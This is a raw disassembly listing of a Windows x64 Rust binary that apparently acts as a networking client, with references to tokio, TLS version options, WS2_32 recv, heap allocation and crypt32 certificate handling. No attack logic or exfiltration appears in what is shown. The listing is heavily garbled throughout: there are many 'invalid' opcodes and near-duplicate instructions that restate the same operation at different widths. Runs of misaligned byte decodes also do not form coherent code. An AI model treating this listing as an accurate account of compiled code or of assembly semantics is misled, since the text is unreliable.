jne 0x14011879b
lea rcx, [rsp + 0x598]
call fcn.140004b70
mov rsi, qword [rsp + 0x5a0]
test rsi, rsi
je 0x14011526d
mov rax, qword [rsi + 0x30]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rsi + 0x30], rcx
jne 0x1401187b0
and eax, 0xa
cmp eax, 8
jne 0x1401187d2
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [rsi]
jne 0x14011526d
mov rcx, qword [rsp + 0x5a0]
call fcn.140004b00
jmp 0x14011526d
lea rax, [0x1401de458]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
lea rax, [0x140204680]
mov qword [rsp + 0x100], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x108], xmm0
lea rdx, [0x1401de660]
lea rcx, [rsp + 0xf0]
call fcn.140160e20
ud2
lea rax, [0x1401de458]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
lea rax, [0x140204680]
mov qword [rsp + 0x100], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x108], xmm0
lea rdx, [0x1401de678]
lea rcx, [rsp + 0xf0]
call fcn.140160e20
ud2
lea r8, [0x1401de690]
mov rdx, rdi
call fcn.140161190
ud2
lea r8, [0x1401de690]
mov rcx, rdi
call fcn.140160f40
ud2
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, [0x1401de738]
mov edx, 0x2c
call fcn.140160fb0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, [0x1401de6d8]
mov edx, 0x2b
call fcn.140160fb0
ud2
lea r8, [0x1401de6f0]
mov rcx, r13
mov rdx, qword [rsp + 0x90]
call fcn.140161190
ud2
lea r8, [0x1401de648]
mov rcx, r13
mov rdx, rax
call fcn.140161190
ud2
lea r8, [0x1401de648]
mov rcx, rax
call fcn.140160f40
ud2
add eax, dword [rax]
add byte [rax - 0x39], cl
test byte [rax + rbp], ah
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xeb502
mov qword [rsp + 0x330], rax
jmp 0x1401191c9
stc
invalid
movupd xmmword [rsp + 0x338], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rsp + 0x320]
call fcn.140160e20
ud2
mov eax, 0x8d4c000b
and al, 0x28
mov edx, 0x46
call fcn.140161200
ud2
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdx, qword [rsp + 0x5c0]
cmp rdx, qword [rsp + 0x5b8]
cmp edx, dword [rsp + 0x5b8]
jne 0x14011a36c
lea rcx, [rsp + 0x5b0]
call fcn.1400a5c90
mov rdx, qword [rsp + 0x5c0]
mov rax, qword [rsp + 0x5b0]
mov rcx, rdx
shl rcx, 7
lea rcx, [rcx + rdx*8]
mov qword [rax + rcx], 3
invalid
mov r8, qword [rsp + 0x70]
mov qword [rax + rcx + 8], r8
movdqa xmm0, xmmword [rsp + 0xa20]
movdqa xmm1, xmmword [rsp + 0xa30]
movdqa xmm2, xmmword [rsp + 0xa40]
movq mm2, qword [rsp + 0xa40]
movdqa xmm3, xmmword [rsp + 0xa50]
movdqu xmmword [rax + rcx + 0x10], xmm0
movq qword [rax + rcx + 0x10], mm0
movdqu xmmword [rax + rcx + 0x20], xmm1
movdqu xmmword [rax + rcx + 0x30], xmm2
movdqu xmmword [rax + rcx + 0x40], xmm3
mov r8, qword [rsp + 0xa60]
mov qword [rax + rcx + 0x50], r8
invalid
push rax
mov qword [rax + rcx + 0x58], rsi
mov qword [rax + rcx + 0x60], rdi
mov qword [rax + rcx + 0x68], rbx
mov qword [rax + rcx + 0x70], r15
movdqu xmmword [rax + rcx + 0x78], xmm6
inc rdx
mov qword [rsp + 0x5c0], rdx
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14011a42b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14011bef2
ror dword [rax - 0x77], 5
xor eax, 0x41000faf
mov eax, 0x28
mov r8d, 0x28
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14011bef2
mov r13, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov dword [rax + 8], 1
or byte [rcx], al
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rax, qword [rsp + 0x5c0]
mov qword [r13 + 0x20], rax
test byte [rax + rax*8], ah
add eax, 0x89490000
and byte [r14 + 0xf], r12b
outsd dx, dword [rsi]
test byte [rax + rsi*4], ah
and al, 0xb0
movdqa xmm0, xmmword [rsp + 0x5b0]
add eax, 0x41f30000
movq qword [rbp + 0x10], mm0
movdqu xmmword [r13 + 0x10], xmm0
cmp byte [rsp + 0x47f], 0
jne 0x14011bf4e
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
mov dh, 5
je case.0x1400e4b0f.284
str word [rax - 0x75]
or eax, 0xfaed5
test rcx, rcx
jne case.0x1400e7c4b.254
invalid
sbb edi, edi
adc eax, 0x4db9a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14011bf12
mov rcx, rax
mov qword [0x140215360], rax
mov bh, 0xae
invalid
invalid
mov r8d, reloc.WS2_32.dll_recv
add byte [rcx], dh
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
add al, 0
sar bh, cl
adc eax, 0x4db81
add al, 0
test rax, rax
je 0x14011bf12
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov r15, rax
mov qword [rax], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
and al, 0x60
add al, 0
add byte [rax - 0x7b], cl
invalid
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
and al, 0x60
and al, 0x60
add al, 0
add byte [rax - 0x7b], cl
test byte [rdi], 0x94
sete byte [rsp + 0x40]
xchg esp, eax
and al, 0x40
je 0x14011a506
je 0x14011a506
mov r12, qword [rsp + 0x468]
lock dec qword [r15]
dec dword [rdi]
dec dword [rdi]
jne 0x14011a501
cmovs ecx, dword [rbp + 0xbe19715]
add byte [rcx + rcx*4 - 7], cl
lea rdx, [0x1401d8690]
mov rcx, r15
call fcn.140069a20
cmc
hlt
mov r15, rsi
jmp case.0x1400e6090.245
lea r12, [0x1401d8690]
and eax, 0xbe183
lea rbx, [rsp + 0x420]
lea ebx, [rsp + 0x420]
pushfq
and al, 0x20
add al, 0
add byte [rbx + rcx*4 - 0x4c], cl
mov r14, qword [rsp + 0x438]
test r14, r14
test esi, esi
sete byte [rsp + 0x38]
mov r14, qword [rsp + 0x438]
test r14, r14
test esi, esi
test esi, esi
sete byte [rsp + 0x38]
je 0x14011a605
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
or eax, 0xfae27
invalid
add byte [rax - 0x75], cl
or eax, 0xfae27
invalid
test rcx, rcx
jne 0x14011a557
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
test eax, eax
test eax, eax
je 0x14011bfa6
test byte [rcx + 0x1a], bl
add byte [rax], al
mov rcx, rax
mov qword [0x140215360], rax
mov dword [0x140215360], eax
mov dword [0x140215360], eax
sldt word [rcx - 0x48]
mov r8d, 0x40
add byte [rax], al
add byte [rcx], dh
sar bh, cl
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
rcr edx, cl
add al, 0
adc eax, 0x4dad3
rcr edx, cl
add al, 0
test rax, rax
je 0x14011bfa6
add byte [rax - 0x77], cl
invalid
mov rdi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
add byte [rax], al
add bl, dh
movdqu xmm0, xmmword [rbx]
movdqu xmm0, xmmword [rbx]
movdqu xmm1, xmmword [rbx + 0x10]
movdqu xmm2, xmmword [rbx + 0x20]
invalid
adc bl, dh
movq mm2, qword [rbx + 0x20]
invalid
and bl, dh
movdqu xmmword [rax + 0x10], xmm0
movq qword [rax + 0x10], mm0
movdqu xmmword [rax + 0x20], xmm1
movdqu xmmword [rax + 0x30], xmm2
jg 0x14011a5ec
invalid
jg 0x14011a5df
and bl, dh
movq qword [rax + 0x30], mm2
jg 0x14011a5ec
invalid
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
lodsd eax, dword [rsi]
invalid
invalid
str word [rax - 0x7b]
leave
test rcx, rcx
test ecx, ecx
jne 0x14011a5c9
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
adc eax, 0x4da7a
test rax, rax
je 0x14011bef2
xor ebx, dword [rcx]
add byte [rax], al
xor ebx, dword [rcx]
add byte [rax], al
mov rcx, rax
mov qword [0x140215360], rax
invalid
add byte [rcx - 0x48], al
sub byte [rax], al
mov r8d, 0x28
add byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
add al, 0
add al, 0
test rax, rax
test eax, eax
je 0x14011bef2
add byte [rax - 0x39], cl
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
or byte [rcx], al
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r15
js 0x14011a603
add byte [rax], al
add byte [rcx + rcx*4 + 0x78], cl
js 0x14011a603
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], rdi
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], rdi
lea r12, [0x1401d86b0]
mov r15, rax
lock inc qword [r15]
jle 0x14011ef08
add byte [rax], al
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
or eax, 0xfad43
add byte [rax - 0x75], cl
or eax, 0xfad43
str word [rax - 0x7b]
leave
test rcx, rcx
jne 0x14011a63b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sbb byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
mov dword [0x140215360], eax
mov r8d, 0x80
test rax, rax
je 0x14011bf23
mov rcx, rax
mov qword [0x140215360], rax
mov dword [0x140215360], eax
mov dword [0x140215360], eax
lodsd eax, dword [rsi]
sldt word [rcx - 0x48]
add byte [rax], 0
add byte [rax], al
mov r8d, 0x80
add byte [rax], al
add byte [rcx], dh
sar bh, cl
adc eax, 0x4d9ef
out dx, eax
fld dword [rax + rax]
add al, 0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
out dx, eax
fld dword [rax + rax]
add al, 0
out dx, eax
fld dword [rax + rax]
add al, 0
add al, 0
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
rcr dword [rax], 1
add byte [rax], al
test rax, rax
je 0x14011bf23
mov qword [rsp + 0xa0], r14
and al, 0xa0
add byte [rax], al
add byte [rax - 0x77], cl
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x88], rsi
mov qword [rax], 1
add byte [rax], al
mov qword [rax + 8], 1
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rax + 0x38], 0x3b9aca00
add byte [rax], al
mov qword [rax + 0x10], 0
mov qword [rax + 0x20], 0
add byte [rax], al
add byte [rax], al
mov dword [rax + 0x38], 0x3b9aca00
mov qword [rax + 0x40], 0
mov dword [rax + 0x48], 0x11e1a300
loope 0x14011a6a8
loope 0x14011a6a8
mov dword [rax + 0x58], 0x3b9aca00
pop rax
add dl, cl
invalid
mov word [rax + 0x60], 1
mov dword [rax + 0x60], 0x40c60001
add byte [rsi - 0x39], ah
add byte [rsi - 0x39], ah
mov byte [rax + 0x66], 0
add byte [rsi - 0x39], ah
mov word [rax + 0x77], 0
ja 0x14011a6ad
add byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
and al, 0xd0
mov qword [rsp + 0x2d0], rax
mov qword [rsp + 0x48], r15
and al, 0xd0
add al, byte [rax]
add byte [rcx + rcx*4 + 0x7c], cl
and al, 0x48
mov qword [rsp + 0x2d8], r15
mov qword [rsp + 0xc0], r12
add byte [rax], al
add byte [rcx + rcx*4 - 0x5c], cl
movsb byte [rdi], byte [rsi]
and al, 0xe0
add al, byte [rax]
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x5c], cl
movsb byte [rdi], byte [rsi]
movsb byte [rdi], byte [rsi]
and al, 0xe0
add al, byte [rax]
add byte [rax - 0x75], cl
mov ah, 0x24
nop
add eax, dword [rax]
add byte [rbx + 0x39824bc], cl
cwde
add eax, dword [rax]
invalid
loopne 0x14011a6d3
add byte [rax], al
mov rsi, qword [rsp + 0x390]
mov edi, dword [rsp + 0x398]
cwde
add eax, dword [rax]
invalid
cwde
add eax, dword [rax]
add byte [rax - 0x73], cl
mov word [rax + rdx*8], fs
add al, byte [rax]
add al, ch
xor dword [rsi - 0x76b70008], 0x78892070
mov qword [rax + 0x20], rsi
invalid
invalid
lea rcx, [rsp + 0x2d0]
call fcn.1400a5d70
mov qword [rax + 0x20], rsi
mov dword [rax + 0x28], edi
sub byte [rax - 0x39], cl
test byte [rax + rdx*2], ah
invalid
mov qword [rsp + 0x750], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
invalid
test byte [rsp + rdi*2], ah
and al, 0x7c
mov word [rsp + 0x77c], 0x501
mov qword [rsp + 0x760], 8
test byte [rax + riz*2], ah
invalid
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x14011a6a4
and al, 0x68
invalid
add byte [rax], al
and al, 0x7c
invalid
invalid
jg 0x14011a6a4
and al, 0x68
invalid
push 0x66000007
mov dword [rsp + 0x778], 0xb60f0000
and al, 0x78
invalid
add byte [rax], al
add byte [rax], al
invalid
mov dh, 0x84
and al, 0x70
mov word [rsp + 0x778], 0
and al, 0x78
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0x84
and al, 0x70
movzx eax, byte [rsp + 0x470]
xor al, 1
invalid
add al, 0
add byte [rcx + rax], dh
invalid
add dword [rax + 0x7782484], ecx
add byte [rax], al
mov byte [rsp + 0x778], al
invalid
movzx eax, byte [rsp + 0x471]
mov byte [rsp + 0x77a], al
jp 0x14011a754
add byte [rax], al
invalid
mov dh, 0x84
and al, 0x71
add al, 0
add byte [rax + 0x77a2484], cl
jp 0x14011a754
add byte [rax], al
invalid
add byte [rdi], cl
mov dh, 0x84
and al, 0x75
add al, 0
add byte [rax], al
xor al, 1
movzx eax, byte [rsp + 0x475]
add byte [rax], al
xor al, 1
add dword [rax + 0x77b2484], ecx
mov byte [rsp + 0x77b], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov esp, 0x40824
add al, 0
add byte [rax - 0x75], cl
mov ah, 0x24
adc byte [rax + rax], al
add byte [rax - 0x75], cl
invalid
pushfq
and al, 0x18
mov rdi, qword [rsp + 0x408]
mov rsi, qword [rsp + 0x410]
mov rbx, qword [rsp + 0x418]
mov ebx, dword [rsp + 0x418]
mov ebx, dword [rsp + 0x418]
add al, 0
add byte [rax - 0x7b], cl
invalid
test rbx, rbx
je 0x14011a7e0
lea r12, [rsp + 0x760]
shl rbx, 3
mov eax, 8
invalid
add edi, dword [rax + 8]
add byte [rbp + 0x31], al
push qword [rcx]
xor edx, edx
jmp case.0x140107dc6.78
nop word cs:[rax + rax]
xor r15d, r15d
xor edx, edx
jmp case.0x140107dc6.78
nop word cs:[rax + rax]
nop dword [rax + rax]
mov qword [rax + rdx*8], r14
mov dword [rax + rdx*8], esi
inc rdx
mov qword [rsp + 0x770], rdx
mov dword [rsp + 0x770], edx
and al, 0x70
invalid
add byte [rax], al
add r15, 8
cmp rbx, r15
sti
je 0x14011a7e0
mov r14, qword [rdi + r15]
cmp rdx, qword [rsp + 0x768]
cmp edx, dword [rsp + 0x768]
cmp edx, dword [rsp + 0x768]
xchg esp, eax
and al, 0x68
invalid
jne 0x14011a7a0
mov rcx, r12
call fcn.14009cb60
clc
dec dword [rax - 0x75]
test byte [rax + riz*2], ah
and al, 0x60
invalid
add byte [rax], al
mov rdx, qword [rsp + 0x770]
jo 0x14011a7e3
add byte [rax], al
jo 0x14011a7e3
add byte [rax], al
jmp 0x14011a7a0
test rsi, rsi
je 0x14011a7f7
mov rcx, qword [0x140215360]
xor edx, edx
invalid
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add al, 0
movzx eax, byte [rsp + 0x493]
mov r8b, 1
add dword [rax - 0x73], ecx
or eax, 0xf0433
xor eax, dword [rdi + rcx]
invalid
mov dh, 0x84
and al, 0x93
add al, 0
add byte [rcx - 0x50], al
add dword [rax - 0x73], ecx
or eax, 0xf0433
xor eax, dword [rdi + rcx]
invalid
xor eax, dword [rdi + rcx]
str word [rax + 0x63]
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
mov qword [rsp + 0x70], r13
jmp rax
mov byte [rsp + 0x77c], r8b
mov byte [rsp + 0x77c], al
add byte [rax], al
movzx eax, byte [rsp + 0x494]
add byte [rax], al
lea rcx, [0x1401d86f7]
lea ecx, [0x1401d86f7]
lea rdx, [0x14020ac50]
movsxd rax, dword [rdx + rax*4]
add byte [rax + 0x63], cl
add al, 0x82
add rax, rdx
mov r15, qword [rsp + 0x80]
jmp rax
invalid
mov al, 3
mov byte [rsp + 0x77c], al
and al, 0x7c
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0x84
and al, 0x94
add al, 0
add byte [rax], al
lea rcx, [0x1401d86f7]
movzx eax, byte [rsp + 0x494]
add byte [rax], al
lea rcx, [0x1401d86f7]
lea ecx, [0x1401d86f7]
lea rdx, [0x14020ac50]
movsxd rax, dword [rdx + rax*4]
add al, 0x82
add al, 0x82
add rax, rdx
mov r15, qword [rsp + 0x80]
add byte [rax], al
add bh, bh
jmp rax
invalid
loopne 0x14011a886
movzx eax, byte [rsp + 0x494]
lea rcx, [0x1401d86f7]
mov dh, 0x84
and al, 0x94
test byte [rsp + rdx*4], ah
add al, 0
add byte [rax - 0x73], cl
or eax, 0xbde72
lea rdx, [0x14020ac50]
lea edx, [0x14020ac50]
adc eax, 0xf03c4
invalid
movsxd rax, dword [rdx + rax*4]
add rax, rdx
mov r15, qword [rsp + 0x80]
add byte [rax], 0
add bh, bh
jmp rax
invalid
add byte [rax], 0
add bh, bh
jmp rax
loopne 0x14011a84e
invalid
mov al, 2
mov byte [rsp + 0x77c], al
add byte [rax], al
add cl, byte [rax + 0x77c2484]
add byte [rax], al
movzx eax, byte [rsp + 0x494]
lea rcx, [0x1401d86f7]
lea rdx, [0x14020ac50]
movsxd rax, dword [rdx + rax*4]
add ecx, dword [rdi]
add byte [rax + 0x63], cl
add al, 0x82
add rax, rdx
mov r15, qword [rsp + 0x80]
jmp rax
mov r8b, 2
jmp case.0x14011a874.0
lea rcx, str.invalid_minimum_TLS_version_for_backendinvalid_maximum_TLS_version_for_backendtrust_dns_shouldnt_be_enabled_unless_the_feature_is
mov r15, qword [rsp + 0x80]
invalid
mov edx, 0x27
call fcn.1400a5f90
mov r12, rax
cmp qword [rsp + 0x750], 0
add byte [rax], al
invalid
invalid
add al, ch
movabs byte [0x8348c48949fff8b6], al
mov esp, 0x75024
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi + rcx + 0x48], dh
mov ecx, dword [rsp + 0x758]
invalid
add byte [rax], al
je 0x14011a90a
mov rcx, qword [rsp + 0x758]
invalid
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rdi, qword [rsp + 0x760]
mov rsi, qword [rsp + 0x770]
mov esi, dword [rsp + 0x770]
mov esi, dword [rsp + 0x770]
test rsi, rsi
je 0x14011a93f
xor ebx, ebx
mov r14, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop dword [rax + rax]
mov rcx, qword [rdi + rbx*8]
inc rbx
call r14
cmp rsi, rbx
jne 0x14011a930
cmp qword [rsp + 0x768], 0
je 0x14011a95c
add byte [rcx], dh
test byte [rax - 0x7d], 0x7c
cmp qword [rsp + 0x40], 0
jne 0x14011a331
invalid
xchg esp, eax
stc
cmp qword [rsp + 0x40], 0
jne 0x14011a331
jmp 0x14011a345
invalid
mov r8b, 3
mov byte [rsp + 0x54], r8b
mov byte [rsp + 0x77d], r8b
jmp 0x14011a9cf
movzx eax, byte [rsp + 0x77d]
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0xb8], rax
mov r12, qword [rsp + 0x750]
mov rbx, qword [rsp + 0x758]
mov r13, qword [rsp + 0x760]
mov r14, qword [rsp + 0x768]
mov rsi, qword [rsp + 0x770]
movq xmm6, qword [rsp + 0x778]
movzx eax, byte [rsp + 0x77c]
mov byte [rsp + 0xf0], al
mov rax, qword [rsp + 0x70]
lock inc qword [rax]
jle 0x14011ef08
movups xmm0, xmmword [0x1401d8800]
movaps xmmword [rsp + 0xa30], xmm0
movdqu xmm0, xmmword [0x1401d87f0]
movdqa xmmword [rsp + 0xa20], xmm0
lea rcx, [rsp + 0x300]
lea rdx, [rsp + 0xa20]
call fcn.1400728a0
mov rdi, rax
mov rax, qword [rsp + 0xa20]
test rax, rax
je 0x14011aaa8
add al, byte [rax]
add byte [rcx + rcx*4 - 0x1f], cl
call fcn.1400a5d70
mov byte [rax + 0x51], bl
mov ecx, dword [rsp + 0xa8]
mov dword [rax + 0x52], ecx
mov byte [rax + 0x56], bpl
mov dword [rax + 0x57], ecx
dec dword [rax - 0x7374aea8]
and al, 0xa8
add byte [rax], al
add byte [rcx - 0x77bfadb8], cl
push 0x57488956
mov rcx, qword [rsp + 0x5e0]
mov qword [rax + 0x5b], rcx
pop rbx
pop rbx
mov ecx, dword [rsp + 0x5e8]
mov dword [rax + 0x63], ecx
mov rcx, r12
mov ecx, esp
mov word [rax + rbp*8], fs
add eax, 0x48890000
invalid
mov ecx, esp
call fcn.1400a5d70
mov byte [rax + 0x50], 0
movaps xmm0, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0x120], xmm0
mov rax, qword [rsp + 0x2a0]
invalid
add al, byte [rax]
invalid
mov eax, dword [rsp + 0x2a0]
movabs al, byte [0x3024848948000002]
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rsp + rax*2], ah
and al, 0x44
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0xa44], rax
and al, 0x44
or al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x1c0], al
add dword [rax], eax
invalid
and al, 0x44
or al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x1c0], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x1d0], cl
movaps xmm1, xmmword [rsp + 0x1d0]
movups xmmword [rsp + 0xa34], xmm1
movups xmmword [rsp + 0xa24], xmm0
and al, 0x24
or al, byte [rax]
add byte [rax - 0x75], cl
test byte [rsp + rdi], ah
cmp al, 0xa
add byte [rax], al
and al, 0x24
or al, byte [rax]
add byte [rax - 0x75], cl
test byte [rsp + rdi], ah
invalid
cmp al, 0xa
add byte [rax], al
or al, byte [rax]
add byte [rax - 0x77], cl
test byte [rsp + rbp*2], ah
and al, 0x6c
mov qword [rsp + 0x16c], rax
mov rax, qword [rsp + 0xa44]
or al, byte [rax]
add byte [rax - 0x77], cl
test byte [rsp + rsi*2], ah
and al, 0x74
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0xa30], al
xor byte [rdx], cl
add byte [rax], al
and al, 0x6c
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rsp + rax*2], ah
or al, byte [rax]
add byte [rax - 0x77], cl
test byte [rsp + rsi*2], ah
and al, 0x74
and al, 0x74
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0xa30], al
xor byte [rdx], cl
add byte [rax], al
xor byte [rdx], cl
add byte [rax], al
or al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x160], eax
movaps xmmword [rsp + 0x160], xmm0
movdqu xmm0, xmmword [rsp + 0xa20]
movdqa xmmword [rsp + 0x150], xmm0
jg 0x14011b2b6
and al, 0x50
add dword [rax], eax
add byte [rax - 0x7d], cl
jl 0x14011b35f
pop rax
invalid
je 0x14011b34d
and al, 0x20
or al, byte [rax]
add byte [rsi + 0xf], ah
jg 0x14011b2b6
and al, 0x50
add dword [rax], eax
add byte [rax - 0x7d], cl
jl 0x14011b35f
pop rax
add byte [rsi + rcx + 0x48], dh
mov ecx, dword [rsp + 0xe8]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
test rsi, rsi
mov r12, qword [rsp + 0xc0]
je 0x14011b380
invalid
xor ebx, ebx
mov r14, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word cs:[rax + rax]
nop dword [rax + rax]
sub eax, 0x660004d1
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
mov rcx, qword [r13 + rbx*8]
inc rbx
call r14
call rsi
call rsi
cmp rsi, rbx
jne 0x14011b370
cmp qword [rsp + 0xd0], 0
je 0x14011b39d
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x620], rdi
pxor xmm0, xmm0
punpcklbw xmm6, xmm0
pshuflw xmm0, xmm6, 0xc6
packuswb xmm0, xmm0
movd dword [rsp + 0x628], xmm0
movzx eax, byte [rsp + 0xf0]
mov byte [rsp + 0x62c], al
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0x62d], al
test byte [rbp + 0xf000006], ah
sub byte [rsp + 0x120], al
test byte [rbp + 0xf000006], ah
sub byte [rsp + 0x120], al
movups xmmword [rsp + 0x630], xmm0
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x640], rax
test byte [rax + rax*2], ah
invalid
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x150]
movdqa xmm1, xmmword [rsp + 0x160]
outsd dx, dword [rsi]
mov word [rax + riz*2], fs
add dword [rax], eax
add byte [rdi], cl
adc dword [rsp + 0x654], eax
test byte [rax + rax*2], ah
invalid
outsd dx, dword [rsi]
mov word [rax + riz*2], fs
add dword [rax], eax
add byte [rdi], cl
adc dword [rsp + 0x654], eax
movdqu xmmword [rsp + 0x664], xmm1
movq qword [rsp + 0x664], mm1
movdqu xmm0, xmmword [rsp + 0x16c]
movdqu xmmword [rsp + 0x670], xmm0
mov eax, dword [rsp + 0x6d0]
add byte [rcx + 0x68b2484], cl
add byte [rax], al
movzx eax, byte [rsp + 0x6d4]
mov byte [rsp + 0x68f], al
mov rax, qword [rsp + 0x90]
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x610], eax
add byte [rax], al
add byte [rax - 0x77], cl
invalid
test byte [rax + rdx], ah
invalid
mov dword [rsp + 0x610], eax
add byte [rax - 0x75], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx], ah
invalid
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x618], rax
mov dword [rsp + 0x650], 0x3b9aca00
mov rbx, qword [rsp + 0x70]
and al, 0x70
and al, 0x70
mov qword [rsp + 0x680], rbx
mov byte [rsp + 0x688], 0
movzx eax, byte [rsp + 0xd8]
mov byte [rsp + 0x689], al
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x68a], al
lock dec qword [r15]
jne 0x14011b4b7
mov rcx, r15
mov rdx, r12
mov edx, esp
mov edx, esp
call fcn.140069a20
mov rax, qword [rsp + 0x390]
mov ecx, dword [rsp + 0x398]
mov word [rax + rbx*4], fs
add eax, dword [rax]
invalid
and al, 0x90
add eax, dword [rax]
add byte [rbx + 0x398248c], cl
mov word [rax + rbx*4], fs
add eax, dword [rax]
invalid
mov word [rax + rbx*4], fs
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rcx*2], ah
invalid
invalid
mov qword [rsp + 0x648], rax
mov dword [rsp + 0x650], ecx
movzx eax, byte [rsp + 0x472]
jb 0x14011b4df
add byte [rax], al
invalid
jb 0x14011b4df
add byte [rax], al
mov byte [rsp + 0x688], al
and al, 0x88
invalid
mov byte [rsi], al
add byte [rax], al
cmp byte [rsp + 0x481], 1
add byte [rax], al
add dword [rax + 0xf], eax
xchg esp, eax
invalid
add byte [rcx], al
sete bpl
cmp dword [rsp + 0x378], 0
mov r15d, 0x200000
je 0x14011b508
mov r15d, dword [rsp + 0x37c]
cmp dword [rsp + 0x380], 0
mov esp, 0x38024
add byte [rax], al
mov ecx, 0x500000
je 0x14011b51e
mov ecx, dword [rsp + 0x384]
test byte [rbx], al
add byte [rax], al
movzx eax, byte [rsp + 0x47c]
mov byte [rsp + 0xc0], al
add byte [rax], al
add byte [rax + rax*8 + 0xffffb8], al
invalid
inc dword [rax]
add byte [rdi], cl
enter 0xf44, 0x45
clc
invalid
clc
clc
cmp dword [rsp + 0x388], 0
mov eax, 0x4000
add byte [rax], al
